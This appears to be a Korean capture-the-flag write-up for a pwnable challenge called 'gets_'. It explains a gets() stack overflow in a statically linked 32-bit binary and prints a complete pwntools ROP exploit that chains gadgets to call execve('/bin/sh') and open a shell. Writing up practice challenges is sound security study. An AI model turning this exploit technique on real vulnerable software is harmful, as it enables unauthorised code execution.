gets_
System/PWNABLE

gets_

728x90

checksec

32bit

NX 걸려있음

 

Pseudo Code

vuln() 함수
setresgid() 함수

포함되어 있는 함수가 엄청 많다

vuln()함수에서 ebp-18의 v1 변수에 gets 함수를 통해 사용자로 부터 입력받는다. >> 18 0x18+ 4(SFP) byte 이상 입력하면 return address 덮어 쓸 수 있을 것

 

실행

Payload

 

esp: 0xffffcfcc

arg[1]의 시작주소: 0xffffcfa4

28개 이상의 문자를 입력함으로써 리턴어드레스를 덮을 수 있다

 

gets 함수 plt 주소

gets = 0x804f290

>> statically linked library이기 때문에 plt와 got가 구별되지 않는다.

 

writable area 찾기

/bin/sh이 현재 파일 내에 쓰여있지 않기 때문에 따로 써줘야한다

.data: 0x080ea060

.bss: 0x080eaf80

 

gadget 찾기

pop eax ; ret ; = 0x080b84d6

pop ebx ; ret ; = 0x80481c9

pop ecx ; ret ; = 0x80dece1

pop edx ; ret ; = 0x806f19a

int 0x80 ; = 0x806f7a0

int 0x80 ; ret ; = 0x806f7a0

 

exploit

from pwn import *
#context.log_level = 'debug'
elf = ELF("./gets_")
p = process("./gets_")

#gadgets
int80 = 0x806f7a0
pa = 0x80b84d6
pb = 0x80481c9
pc = 0x80dece1
pd = 0x806f19a
bss = 0x80eaf80 + 0x100

gets = 0x804f290 
binsh = '/bin/sh\x00'

pl = "A"*(0x18 + 4)
pl += p32(gets)
pl += p32(pa)
pl += p32(bss)

pl += p32(pa)
pl += p32(0xb)
pl += p32(pb)
pl += p32(bss)
pl += p32(pc)
pl += p32(0)
pl += p32(pd)
pl += p32(0)

pl += p32(int80)

#gdb.attach(p)
p.sendlineafter("\n",pl)
p.sendline(binsh)
p.interactive()

execve() 함수의 인자로 전달

ebx → "/bin/sh"이 저장된 주소

ecx → null

edx → null

 

! 성공 !

 

 

 

::execve 함수 참고::

https://www.it-note.kr/157

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] SysROP  (0) 2020.08.07
[HackCTF] look at me  (0) 2020.08.02
[ROP Emporium] write4  (0) 2020.07.19
[HackCTF] pwning  (0) 2020.07.18
BaskinRobins31  (0) 2020.07.12